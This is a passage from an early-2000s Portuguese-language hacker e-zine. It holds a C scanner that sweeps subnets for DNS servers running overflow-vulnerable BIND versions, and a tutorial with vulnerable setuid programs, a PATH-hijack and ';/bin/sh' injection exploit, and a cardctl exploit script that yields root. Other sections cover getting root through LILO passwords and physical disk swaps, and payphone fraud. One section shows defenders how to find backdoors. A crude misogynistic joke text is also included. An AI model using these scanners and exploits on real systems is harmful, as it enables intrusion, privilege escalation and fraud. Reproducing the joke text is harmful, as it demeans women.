ping backdoor executa'-lo. Talvez issue que vem tem mais backd00r pro povo... "Em Deus nos acreditamos. Para os outros, exigimos um certificado X.25" Alguem assinante da BugTraq Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br _xXXXP^'' ``^YXXXx_ _xXXXXP~ 09 - Bind Scan ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Alguns dos bugs mais exploitados nos ultimos dias foram os de named. Por issu decidi fazer um programa que scaneie a versao dos binds. O bind scan v1.1 criado por mim tinha o problema de que usava o dig para verificar a versao do bind remoto. A versao atualizada, publicada aki, conecta-se ao named e pega o version.bind dele, sem necessidade de nenhum outro programa. Alem dissu, verifica se a versao eh vulneravel aos bugs mais conhecidos. O bind scan v2.1 scaneia uma lista de ips que pode ser feita com o bind host scan. O bhs apenas tenta conectar ao ip (X.X.X.1 a X.X.X.255) pela porta 53(NAMESERVER_PORT) e coloca o resultado no arquivo "hosts". Vamos a um exemplo de como usa-los, depois os sources... ~# gcc bhs.c -o bhs ~# ./bhs 127.0.0 -=-= Binds hosts scanner by Cheat Struck =-=- Result in filename : hosts 127.0.0.1 ~# gcc bscan21.c -o bscan ~# ./bscan hosts Bind Scan v2.1 - by Cheat Struck _START_ 127.0.0.1 - 8.1.2 is not vul. _END_ ~# <++> bindscan/bhs.c /* Bind Host Scanner v1.0 by Cheat Struck * * Scaneia ips X.X.X.[1 a 255] que estejam rodando named. * * Modo de uso: * gcc bhs.c -o bhs * ./bhs * * Exemplo: * ./bhs 200.24.131 * */ #include #include #include #include #include #include #include main( int argc, char *argv[] ) { int s0ck, i=0; struct sockaddr_in addr; char ip[16]; char *duh; FILE *fp; printf(" -=-= Binds hosts scanner by Cheat Struck =-=-\n"); if( argc < 2 ) { printf("Use: %s \n",argv[0]); exit(1); } printf(" Result in filename : hosts \n"); duh = argv[1]; fp = fopen("hosts", "a"); while (i < 255) { i++; sprintf(ip, "%s.%d\n", duh,i); s0ck = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(53); addr.sin_addr.s_addr = inet_addr(ip); bzero(&(addr.sin_zero), 8); if( connect( s0ck, (struct sockaddr *)&addr, sizeof(addr) ) >= 0) { fprintf(fp, "%s",ip); printf("%s FIND!",ip); } close(s0ck); } fclose(fp); } <--> <++> bindscan/bscan21.c /* Bind Scan v2.1 * by Cheat Struck * * Scan a ip list and show the BIND version and bugs. * * usage: ./bindscan * */ #include #include #include #include #include #include int make_keypkt(char *pktbuf); void print_ver(int vul, char *buf); int main(int argc, char *argv[]) { struct sockaddr_in ra; int sd, pktlen; char iquery[512], vquery[512], ip[16]; HEADER *dh = (HEADER *)iquery; FILE *fp; printf("Bind Scan v2.1 - by Cheat Struck \n"); if(argc != 2) { printf("usage: %s \n", argv[0]); exit(0); } // OPEN FILE... if((fp = fopen(argv[1],"r")) == 0) { printf("Where is this file???\n"); exit(0); } // START THE L00PING... printf("_START_\n"); while( !feof(fp) ) { bzero((char *)&ip, sizeof(ip)); if(fgets(ip, 16, fp) == NULL) break; ip[strlen(ip)-1] = 0x00; printf("%s - ",ip); // LET'Z CONNECT.... ra.sin_family = AF_INET; ra.sin_port = htons(NAMESERVER_PORT); ra.sin_addr.s_addr = inet_addr(ip); if (((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) || (connect(sd, (struct sockaddr *)&ra, sizeof(ra)) == -1)) { if (sd != -1) close(sd); } //SEND A QUERY AND GET THE VERSION... memset(vquery, 0, sizeof(vquery)); pktlen = make_keypkt(vquery); if (!write(sd, vquery, pktlen)) { close(sd); } pktlen = read(sd, vquery, sizeof(vquery)); close(sd); //NOW PRINT THE VERSION... print_ver(dh->rcode == 0, vquery); } fclose(fp); printf("_END_\n"); } int make_keypkt(pktbuf) char *pktbuf; { HEADER *dnsh; char *ptr = pktbuf; int pktlen = 0; char qstr[] = "\007version\004bind\000"; int qlen = strlen(qstr) + 1; dnsh = (HEADER *) ptr; dnsh->qdcount = htons(1); pktlen += sizeof(HEADER); ptr += sizeof(HEADER); memcpy(ptr, qstr, qlen); ptr += qlen; pktlen += qlen; PUTSHORT(T_TXT, ptr); PUTSHORT(C_CHAOS, ptr); pktlen += sizeof(short) * 2; return pktlen; } void print_ver(vul, buf) char *buf; int vul; { HEADER *dnsh = (HEADER *)buf; char *ptr; if (dnsh->rcode != 0) { return; } ptr = (buf + sizeof(HEADER)); while (*ptr != '\0') ptr++; ptr += 1 + (sizeof(short) * 2); while (*ptr != '\0') ptr++; ptr += 1 + (sizeof(long) + (sizeof(short) * 2)); // GETSHORT(len, ptr); if(!strcmp(&ptr[3],"")) printf("can't get a version.\n"); else if((!strncmp(&ptr[3],"8.2",strlen(&ptr[3]))) || (!strncmp(&ptr[3],"8.2.1",strlen(&ptr[3])))) { printf("%s is NXT remote overflow VULNERABLE\n",&ptr[3]); return; } else if((!strncmp(&ptr[3],"4.9.5-REL",strlen(&ptr[3]))) || (!strncmp(&ptr[3],"4.9.5-P1",strlen(&ptr[3]))) || (!strncmp(&ptr[3],"4.9.6-REL",strlen(&ptr[3]))) || (!strncmp(&ptr[3],"8.1-REL",strlen(&ptr[3]))) || (!strncmp(&ptr[3],"8.1.1",strlen(&ptr[3])))) { printf("%s is IQUERY remote overflow VULNERABLE\n",&ptr[3]); return; } else { printf("%s is not vul.\n",&ptr[3]); return; } } <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 10 - System Bugs ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Expliquei essa t3kn33k na edicao 00 da f3 mas achu q nao recebeu a atencao necessaria portanto estou disposto a revisar este bug e ainda explicarei outros metodos de xploita-lo. Ah!!! Li recentemente o manual de programacao basica escrito por nash leon e nele aparece a explicacao sobre o Xploiting deste bug. Mesmo nao sendo grande coisa, estas sao algumas falhas de seguranca que eu descobri sozinho e nao me basiei em nenhum outro texto para a conclusao deste. Ok... Tipu... O primeiro bug q eu achei foi testando uns programas (c) ME que utilizavam system() para executar comandos na shell e tornando o programa mais simples. Exemplo: Ao invez de usar: fd=fopen("./duh","w"); fprintf(fd,"Hellow World\n"); fclose(fp); usei: system("echo Hellow World >> ./duh"); E assim a fonte do programa tornava-se menor e mais compreensivel para coders iniciantes. Dae percebi q havia como xploitar tal programa mesmo nao podendo interagir neste comando por strings externas, tipo: sprintf(cmd,"echo %s >> ./duh", argv[1]); system(cmd); Note que no exemplo acima executamos o comando utilizando uma string externa (argv[1]) como argumento. Mas voltando ao exemplo anterior, onde nao ah nenhuma intervencao em strings... Ah um outro metodo de intervir na funcao system() sem precisarmos diretamente enviarmos uma string para ele. O caso eh que assim como numa shell, qdo voce executa um comando no system() sem o path completo dele, o caminho do programa eh procurado na environment $PATH. Sendo assim podemos alterar o $PATH para um diretorio q tenhamos permissao e assim fazer com que o system() execute o comando que quizermos apenas renomeando-o. Vamos a um exemplo... <++> systembug/vul1.c main() { system("ls"); } <--> ~# gcc vul1.c -ovul ~# chmod +s vul Agora para xploita-lo... ~$ pwd /tmp ~$ cp /bin/sh ./ls ~$ PATH1=$PATH ~$ PATH=./ ~$ /f3/systembug/vul ~# id uid=1337 (struck) gid=1337 (struck) euid=0 (root) egid=0 (root) ~# PATH=$PATH1 ~# Basicamente esta eh a t3kn33k usada. Mas ha casos especificos que podemos usar meios diferentes para xploitar o system(). O meio mais simples seria interagindo com strings externas usadas como argumentos no system(). Vejamos o 2o exemplo: <++> systembug/vul2.c main(int argc, char *argv[]) { char *cmd; sprintf(cmd,"/bin/ls %s",argv[1]); system(cmd); } <--> ~# gcc vul2.c -o vul2 ~# chmod +s vul2 Para exploita-lo: ~$ /f3/systembug/vul2 ";/bin/sh" ~# O resultado da string cmd seria "/bin/ls ;/bin/sh". Ou seja podemos executar de maneira muito banal uma shell qdo temos intervencao de strings externas na funcao system(). Outro caso pode ser qdo o programa a ser executado pelo system() esta no mesmo diretorio do proprio programa (q possui o system()). Vamos ver outro exemplo: <++> systembug/vul3.c main(){ system("./vul2 -la"); } <--> ~# gcc vul3.c -o vul3 ~# chmod +s vul3 Xploitando.... ~$ pwd /tmp ~$ cp /bin/sh ./vul2 ~$ PATH=./ ~$ /f3/systembug/vul3 ~# AWS!!! Agora vamos ao 4o metodo e desta vez utilizando um programa de BSD que possui esta falha. O caso eh o seguinte... O programa procura por strings num arquivo e as inclui no comando a ser executado pelo system(). Vou colar algumas linhas originais do programa q demonstram a falha... cardctl.c: case 's': stabfile = strdup(optarg); break; ... f = fopen(stabfile, "r"); if (f == NULL) return -1; for (nstab = 0; fgets(s, 132, f); ) { if (s[0] != 'S') { sscanf(s, "%*d\t%s\t%*s\t%*d\t%s", stab[nstab].class, stab[nstab].dev); stab[nstab].status = 0; nstab++; } } fclose(f); ... stab[i].status = execute(stab+i, "cksum", new); ... sprintf(cmd, "./%s %s %s", s->class, action, s->dev); ret = system(cmd); Como podem ver ele busca tb o nome do programa a ser executado e a unica limitacao dele eh q tem que estar no mesmo dir (./). Vamos xploita-lo... <++> systembug/cardctl-ex.sh #!/bin/sh mkdir /tmp/card echo "215 ../../bin/sh; none 2133 device" >> /tmp/card/stab cd /tmp/card /sbin/cardctl -s /tmp/card/stab scheme dido <--> ~$ chmod +x cardctl-ex.sh ~$ ./cardctl-ex.sh checking: device~# ~# Voalah!!! Vimos que este bug nao eh tao troxa qto parece. Fixa-lo eh a coisa mais banal q existe... Eh soh dar corda no cerebro e comecar a pensar um pouco (pra variar) q chegaremos a estas conclusoes: Caso nao haja a necessidade do comando ser executado como root, utilise: setuid(getuid()); system(cmd); Porem c for preciso do uid 0 para o comando entao tente fazer com que o system() nao receba strings externas... Mas c ainda precisar utilizar strings externas coloque limitadores para a string proibindo ";", "|", etc... Mesmo assim, o melhor meio para nao correr risco com tal falha eh mesmo nao utilizando o system() e optando por uma funcao mais segura para executar comandos. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 11 - vulnerabilidade ~YXXXXx_ _xXXXXXX( do lilo.conf )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ kamikase shell _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Esta matéria será mais util a universitários ( pq? ), primeiro pq precisaremos ter acesso fisico a máquina; e segundo pq uma universidade que se preze tem uma máquina, ou melhor uma rede com linux, e como nem todo mundo usa linux eles tb tem o windows e se o progama que gerencia o boot for lilo nós poderemos rootea-lo. Então vamos ao que interessa. Todo mundo já deve conhecer aquela velha entrada no prompt do lilo: LILO: linux single É isto mesmo, vc vai conseguir um shell de root: #bash: porem isto só vai acontecer se o root for muito burro! Tudo bem! Como eles não são tão idiotas assim eles acrescentam estas linhas no arquivo/etc/lilo.conf: password=algum_password restricted depois digitam "lilo" no shell para salvar a alteração. [root@localhost /]# lilo linux* dos(ecah) [root@localhost /]# E o que isto faz? Simples, se vc der alguma entrada a mais no prompt do lilo como : "linux single" ou "linux panic=10" ele te pedirá a senha que tá no lilo.conf. O lilo.conf vem com permissão de leitura para qualquer usuário e se o root for lerdo o suficiente para não conferir a permissão dele: [root@localhost /etc]# ls -la lilo.conf -rw-r--r-- 1 root root 208 Jul 6 14:37 lilo.conf [root@localhost /etc]# nao vai perceber que ele dá permissão de leitura para qualquer usuário! nós sabemos que a senha não fica encriptada, então se vc ainda não sabe o q fazer, vamos! tá na hora de perder a virgindade cerebral, basta entrar com: [usuário@localhost usuario]$ cat /etc/lilo.conf boot=/dev/hda map=/boot/map install=boot/boot.b prompt timeout=50 password=algum_password restricted ... ... ... [usuário@localhost usuário]$ descobrir a senha e resetar a máquina (pois vc tem tem acesso físico a ela, lembra! ). No prompt do lilo basta entrar com: LILO: linux single esperar por #bash: e pronto, vc tem a força hehehe!! kamikaseshell@bahia.net _xXXXP^'' ``^YXXXx_ _xXXXXP~ 12 - hardroot ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ kamikase shell _dXXXXP~ ~YXXXbx.. ..xdXXXP~ certo dia eu tava meio away na minha maquina quando veio aquela ideia que parecia brilhante: " pq nao copiar o /bin/sh com setiud ativado para um disquete para usa-lo em outra outras maquinas, como eu o usaria em outras maquinas? copiava o sh do disquete para meu diretorio /home/minhaconta e rooteava a maquina!!!" Mas como eu disse a ideia apenas parecia brilhante, hehehe! Copiar o sh da minha maquina para o disquete era moleza: [root@localhost bin]# cp sh /mnt/floppy [root@localhos bin]# ls -l /mnt/floppy total 365 -rwxr-xr-x 1 root root 373432 Jul 13 17:44 sh mas o problema tava ativar o bit setuid: [root@localhost bin]# chmod 4766 /mnt/floppy/sh chmod: /mnt/floppy/sh: Operacao nao permitida Bem, como nao consegui ativar o bit setuid no disquete pensei em copiar o /bin/sh ja com o bit ativado: Copiei o /bin/sh para um diretorio qualquer, ativei o bit setuid e tentei copia-lo para o disquete: [root@localhost /]# cp /bin/sh /root [root@localhost /]# chmod 4766 /root/sh [root@localhost /]# ls -l /root/sh -rwsrw-rw- 1 root root 373432 Jul 13 17:52 sh -------(blz) [root@localhost /]# cp /root/sh /mnt/floppy cp: preservando permissoes para /mnt/floppy/sh: Operacao nao permitida Ai' eh que tah a merda! naum dava para manter as permissoes. Muita gente ja deve ter tentado fazer isto. Pois entaum tentei descobrir uma outra maneira para rootea alguma maquina, e naum é que consegui! De repente me liguei que se eu colocar meu HD em uma outra maquina, posso da BOOT com meu linux, logar comoroot, montar a particao contendo o linux do HD do kra e fazer tudo que eu quizerla', pois eu logei como root, lembra! Vamos por partes: * Instale os dois HDs: o seu como MASTER e o do kra como SLAVE; * Ligue a maquina, detecte os HDs na BIOS; * Carregue seu linux, loge-se como root, pois o sistema e' o que esta no seu HD (duh!); * Monte a particao do kra, por exemplo: mount -t ext2 /dev/hdbX /linux; * Faça o que quiser, voce e' root la' tb. DICA: para naum demorar muito com os 2 HDs ligados, acrescente uma conta de root la' (na particao do kra ), desmonte tudo, ligue o HD dele como tava antes, e acesse o linux dele agora como root! Nao sei se vc tera' oportunidade de usar isto, mas, se tiver naum vacile E' isso ai'... te' a proxima... kamikaseshell@bahia.net _xXXXP^'' ``^YXXXx_ _xXXXXP~ 13 - PEQUENO MANUAL PARA ~YXXXXx_ _xXXXXXX( OS HOMENS NA BALADA )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Humortadela _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Este manual foi tirado do site www.humortadela.com.br e publiquei aki 1o por ser hilario; 2o pra fazer propaganda desse site q eh mto rlz; e 3o pq a maioria q le esta zine eh homem e vao curtir o txt. Se vc for mulher ou indefinido e nao gostou deste texto nao venha reclamar comigo pois nao fui eu quem o escreveu. ------------------------ PEQUENO MANUAL PARA OS HOMENS NA BALADA Este manual mostra o resultado de uma pesquisa realizada entre mulheres sobre o que um homem deve ou não fazer em uma balada, quando quer conhecer uma garota. 1. A APROXIMAÇÃO 1.1 Jamais interrompa a garota, caso esteja numa conversa efusiva com as amigas. Nós gostamos de falar. Uma mulher nunca deixará de falar com uma amiga para ouvir um estranho. Nem para ouvir um conhecido, nem para ouvir a mãe, nem o pai, nem os filhos... 1.2 Não chegue balançando seu copo de uísque com energético em movimentos circulares. É sabido entre mulheres que homens assim são muito malas. E se chegar balançando uma jeba de vinte e três centímetros ou um cartão de crédito? 1.3 Esqueça frases de senso comum, tais como "você é a garota mais linda daqui", "o que alguém como você faz sozinha?" etc. Pode acreditar: nós, mulheres, somos práticas e percebemos o quanto um homem é inseguro com essas frasezinhas de efeito. E falar "Você era a garota mais linda daqui, até te ver de perto", denota mais segurança? Por favor, me responde logo, estou me sentindo meio inseguro... 1.4 Feche a camisa! Não gostamos de ver os pelinhos do peito pulando para fora... Olha, eu já vi pêlo e cabelo caindo, agora pulando, eu nunca vi... 2. A CONVERSA 2.1 Não perdoamos se um homem não nos pergunta o nome. Até cachorro tem nome. Além disso, queremos perguntar "e você, como se chama?" para colocarmos seu nome em nossas listas. É verdade, se cachorro tem nome, é lógico que cachorra também tenha. Acontece que nós também somos muito práticos e só perguntamos o nome se estamos interessados mesmo, para não guardar dados inúteis. 2.2 Mostre-se interessado. Odiamos homens para quem falamos "maçã, banana..." enquanto explicamos o que fazemos da vida, só para ver se eles estão prestando atenção e, na maior cara-de-pau, ele concorda com a cabeça e olha para você admirado. Mas a gente presta mesmo atenção! Só que, como vira e mexe vocês falam de comida, e dado que a conversa de vocês não tem muito nexo, achamos uma fala como "maçã, banana" bastante lógica e dentro do contexto! 2.3 Jamais tente beijar uma mulher quando ela está falando. Ela ficará puta da vida. A verdade é que nós gostamos mesmo de falar. É verdade, não é por acaso que alguns homens apelidam o próprio pênis de "microfone" ou, os mais exibidos, de "megafone". 2.4 Esconda seus tiques. Faça um esforço descomunal, mas esconda seus tiques. E como faço para esconder meu tique, que é uma ereção constante? 2.5 Esconda seu bafo. Faça qualquer coisa para acabar com ele, mas não pense que não perceberemos se não tomar uma atitude. Vale esconder o bafo atrás de um peido asfixiante? 2.6 Esteja certo de que seu desodorante está dentro do prazo de validade. E o que eu faço se estiver vencido? Reclamo no PROCON? 2.7 Não fique passando a mão no próprio peito. Nós temos que te achar gostoso, e não você. O gesto instintivo de passar a mão no peito não quer dizer que nós nos achamos gostosos. Apenas o utilizamos quando estamos com uma mulher pouco interessante, para induzí-la a pensar que somos convencidos e a desistir logo da gente, sem magoá-la e sem ter que aturar mais tarde insuportáveis choradeiras e ameaças de suicídio. 2.8 Não cuspa enquanto fala. Se nós cuspirmos, ache lindo. Ok, prometo não cuspir. E, se você cuspir, vou achar o máximo, sobretudo se cuspir na cabeça do meu pau! 3. O BEIJO 3.1 Você quer conhecer a mulher a fundo, mas enfiando sua língua na goela da coitada só vai obrigá-la a revelar o que jantou. O duro dessa revelação é constatar que o creme de leite usado no molho tem gosto de esperma. 3.2 Nossa boca NÃO é um parque de diversão e sua língua NÃO é uma roda gigante. Sem movimentos simetricamente circulares. É o cúmulo do anti-sexy. Nunca ouvimos falar em movimentos simetricamente circulares, mas tudo bem. E que tal um movimento de vai-e-vem e não com a roda gigante da língua mas com o trenzinho do pau? 3.3 Não puxe nossos cabelos para trás. Você não é o Piteco, entenda... Não estamos nas cavernas! O máximo que vai conseguir é irritação por estragar o nosso penteado. Tudo bem, se você quiser, a gente puxa só pra frente. E não se preocupe pelo penteado, se o resto valer a pena, a gente paga outro; pelo menos, o creme de enxágüe a gente fornece de graça. 3.4 Nunca meta a língua com tudo no tímpano da menina e depois sugue. Primeiro, porque ela pode usar aparelho auditivo e tal gesto a deixaria realmente chateada. Segundo, porque você está metendo a coisa errada no lugar errado. Terceiro, por que a gente não é abelha e não gosta de cera! 3.5 Não nos lambuze, para sua própria saúde. Alguns cosméticos são para uso externo apenas. E tem cosmético para uso interno? Que eu saiba, vaselina não é cosmético... 3.6 Não é não. Isso é bastante lógico! Não tire, não pare... 3.7 Não nem sempre é não. Você tem que adivinhar. Temos que adivinhar uma ova! É só procurar uma mulher menos histérica! 3.8 Dois nãos é NÃO MESMO. Dois não é sim, como as leis da lógica ensinam. Mas damos um desconto, afinal, esperar lógica de uma mulher seria demais... 3.9 Abrace-nos. Todas as mulheres gostam de abraços. Se possível, carregue-nos no colo. Isso nos mostrará que nosso regime valeu a pena. E, principalmente, poupará a sola dos sapatos que vocês tanto adoram. 3.10 Jamais nos carregue no colo se existir alguma chance de você desistir na metade do caminho. Isso é o fim. Nisso concordamos. Realmente, uma queda de bunda no chão é muito pouco romântico e acabaria de vez com nosso tesão! 3.11 Muitas mulheres gostam de barba-por-fazer. Mas lembre-se dela ao dar um beijo empolgado na mulher. Não queremos sair de um beijo parecendo o Bozo. A gente lembra, sim. O importante pra nós é que vocês se sintam umas palhaças depois de serem comidas! 3.12 Se formos no banheiro, aguarde quietinho no lugar. Com certeza aproveitaremos ao máximo essa chance de ficarmos sozinhos e em paz... 3.13 Se você deixou de cumprir as regras desse item e formos no banheiro, pode ir embora, porque não voltaremos. Pode ter certeza que irei embora se VOCÊ estiver cumprindo a regra, pois isso anula a chance de transar e esse é o meu único interesse por você! 4. A DESPEDIDA 4.1 Fique conosco na fila para pagar. Com muito prazer, nada mais gostoso que uma boa encoxada na fila... 4.2 Pague. Só se valer a pena! A Lei do Consumidor é clara... 4.3 SEMPRE pegue nosso telefone. OK, se isso for tão importante para você, a gente pega, nem que seja para fazer um trote de vez em quando ou para trocar com outros caras, você sabe, tem gosto para tudo e o que é uma baranga para um pode ser uma gostosa para outro, dependendo da necessidade... 4.4 Cuidado com as luzes da saída. Olhando bem para você, podemos nos decepcionar. Prefira as sombras. A recíproca é verdadeira... 4.5 Depois que formos, pense em nós. A mulher é extremamente intuitiva e percebe se você a esqueceu assim que virou as costas. E se a gente pensa em vocês e morre de rir, vocês também percebem? 5. A CONTINUIDADE 5.1 Ligue NO DIA SEGUINTE. Ok, nós somos cavalheiros e ligamos, mas... uma dica: se a ligação for a cobrar, é sinal de pouco interesse... 5.2 Puxe a conversa e, depois, não se preocupe: gostamos MESMO de falar. Fale tudo o que quiser e o tempo que quiser... mas não se esqueça que nós gostamos MESMO é de transar! 5.3 Não fale "adivinha quem é". A gente sempre sabe quem é. E se não soubermos por algum motivo, não vai ser legal errar o nome... Tudo bem, mas a gente nem sempre lembra com quem esteve a noite anterior! Para evitar constrangimentos, seria interessante vocês darem algumas dicas pra gente se lembrar de vocês, como horário exato em que a gente se encontrou, idade, altura, peso, cor de cabelos etc... 5.4 Se você ligou e deu engano, provavelmente era essa a intenção. Sim, nós damos telefone errado. Isso pode acabar sendo um golpe de sorte pra nós... quem sabe, no telefone errado não atenda a pessoa certa! 5.5 Chame-nos para sair novamente, marcando hora, dia e lugar. Largue a mão de ser banana! Pode ter certeza que ligarei, marcando hora, dia, lugar e roupa que você deve vestir... isso até te comer pela primeira vez, depois você dança! 5.6 Esteja certo de que seu carro não fede. Não se preocupe, eu mando dedetizar o carro toda vez que saio com uma vagabunda! www.humortadela.com.br _xXXXP^'' ``^YXXXx_ _xXXXXP~ 14 - Achando rastros de ~YXXXXx_ _xXXXXXX( um ataque )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Voce pode tar pensando... bah! Outro texto sobre security que o kra vai falar as mesmas coisas que os outros ja falaram. Bem... talvez voce esteja certo, mas sempre c encontra algo novo nestes como este e como este texto foi escrito somente com a experiencia q eu tenho, e nao baseado em nenhum outro. Eh capaz de voce aprender o suficiente para um texto. Okay... com base de experiencia propria e de outros ataques vou mostrar aos admins como encontrar rastros (progs, backdoors, etc) que um hacker pode ter deixado apos 0wnar seu sistema. Vamos estudar os rastros atraves do nivel de conhecimento que o invasor possui... 1. Lamer. Nao se preocupe... Sera muito facil encontrar rastros deixados por um lamer. Primeiro porque lamers soh sabem fazer o que as receitas mostram, eles nao se preocupam em variar as tecnicas usadas. Entao o que voce vai encontrar vai ser exatamente como esta nos txts. Vamos ver... A backdoor mais lamah possivel voce pode encontrar no /etc/passwd. [root@localhost /etc]# grep ":0:0:" /etc/passwd root:x:0:0:root:/root:/bin/bash lamah::0:0::/:/bin/sh Ok... achamos nosso lamer... Vamos ver c ele nao deixou outras backdoors aki... Outras 2 backdoors comums sao suidshell e inetdaemon. Para acha-las... [root@localhost /etc]# grep "sh" /etc/inetd.conf courier stream tcp nowait root /bin/sh sh -i Uma variacao desta pode ser... [root@localhost /etc]# grep "\-i" /etc/inetd.conf swat stream tcp nowait root /usr/sbin/swat swat -i Veja q o servico esta chamando o /usr/sbin/swat com os mesmos atributos do /bin/sh. Vamos conferir para ver c swat == sh. [root@localhost /etc]# ls /bin/*sh /bin/ash /bin/bsh /bin/ksh /bin/tcsh /bin/bash /bin/csh /bin/sh /bin/zsh [root@localhost /etc]# cmp -c /bin/ash /usr/sbin/swat /bin/ash /usr/sbin/swat differ: char 25, line 1 is 20 ^P 220 M-^P [root@localhost /etc]# cmp -c /bin/bash /usr/sbin/swat [root@localhost /etc]# Aha!!! Soh pra quem nao sabe... cmp serve para comparar arquivos. Comente a linha no inetd.conf e reinicie o inetd. Para achar suidshells use: [root@localhost /]# find / -type f \( -perm -04000 -o -perm -02000 \) -user root Vai ser exibido uma lista com todos os arquivos suids com owner root. Cabe a voce saber o que eh programa do linux e o que foi criado pelos usuarios. Uma dica... eh comum deixar as suidshells no mesmo diretorio onde eles deixam seus programas tais como xploits, sniffers e clearlogs. Outra coisa... os diretorios usados sao na maioria das vezes os com permissao de all+rwx como /tmp e /var/tmp ou nos homedirs. Tambem ha a posibilidade deles criarem os dir por issu voce pode procurar por estes com o comando: [root@localhost /etc]# find / -type d -perm 0777 Outro detalhe... Esses lamahs vao provavelmente rodar um portscan qualquer no seu host por issu voce pode acha-lo no log do syslogd (/var/logs/messages) caso ele nao tenha sido modificado. Procure tambem nos ~/.history's e nos wtmp, utmp e lastlog. Lamers nunca dao muita importancia aos logs. 2. Hacker Beginner. Este vai se parecido com o lamer qto ao fato dos diretorios... Ele precisa de um lugar para por seus arquivos. Ache o diretorio e voce acha o hacker. Mas neste caso isto pode se tornar mais dificiu. Caso o diretorio criado seja rwxr-xr-x como acha-lo??? Procure por sources de programas e se nao encontra-los tente usar: [root@localhost nix]# strings a.out |grep /bin/sh /bin/sh Issu serve para encontrar xploits ja que todos xploits tem esta string pois eh o que eles executam. Procure-os nos homedirs e tmps tambem. Arquivos ocultos sao muito usados. Existem programas q fazem busca de sniffers por devices. Rode-o e veja se nao encontra nada suspeito. Rode tambem programas que procuram por logs apagados pelo zap. Issu eh salvo caso o hacker tenha usado a minha versao do zap alterado. =) Um hacker nao lamer no minimo iria colocar uma binder no seu sistema. Para acha-lo use: [root@localhost /root]# lsof -i Com isso sera listada todas as portas que estao sendo usadas. Procure por algo suspeito como... a.out 3454 root 3u inet 84061 TCP *:31337 (LISTEN) 3. Hacker eleet. Esquece. Se o hacker q ownou vc for mesmo eleet torna-se praticamente impossivel de voce encontra-lo. Mas existe certas prevencoes que vc pode fazer para detectar a presenca dele. Uma das coisas eh fazer backup dos logs toda a vez que alguem se logar. Crie uma particao somente para os logs. Coloque no /etc/.bash_profile: #mude aki de acordo com a particao... mount /dev/hda2 /mnt d=`date --date "\`date |cut --bytes=5-10\`" +%j` cp -f /var/run/utmp /mnt/utmp.$d cp -f /var/log/lastlog /mnt/lastlog.$d cp -f /var/log/wtmp /mnt/wtmp.$d cp -f /var/log/messages /mnt/messages.$d cp -f ~/.bash_history /mnt/history.$USER.$d umount /mnt Pronto. Toda a vez q vc logar os arquivos de logs serao copiados para a particao indicada. Sera criado um arquivo diferente para cada dia, para que voce possa comparar os dados e encontrar alguma alteracao feita. Bah! Chega! Nao aguento mais escrever. Ainda mais um texto todo desestruturado como esse entao por hj eh soh. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 15 - Fraudando Orelhoes ~YXXXXx_ _xXXXXXX( a cartao )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ TPGA _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Primeiramente gostaria de agradecer ao struck a oportuninade de escrever esta humilde materia para essa excelente zine, esta t3ckn33k foi elaborada por mim com intuito de colocar aqui na net algo que realmente funciona-se, pois nunca encontrei nada sobre ligacoes infinitas que funcione corretamente. Agora vamos ao que interessa e sem arrodeios. Start: ----------- Igredientes ----------- 1 - uma Lata de refrigerante ou cerveja 2 - algo cortante Ex.: Serra, Faca, tesoura, canivete 3 - Cuidado para nao se cortar :) Depois de ter arrumado to este material secreto, faca assim: Corte um pedaco da lata (tipo uma tira) Tira metalica |==================================| +/- Tamanho | | ============> | | | | |==================================| IMPORTANTE: O comprimento da tira tem que ser maior do que a do cartao telefonico comum. Coloque a porra do pedaco como se fosse um cartao normal, depois de posto note que vai ficar sobrando uma parte da tira do lado de fora, em seguida pegue o fio metalico do gancho e encoste na parte do pedaco que ficou sobrando, agora disque pra o numero desejado, quando a pessoa atender desencoste o fio da lata depois de uns 3 minutos 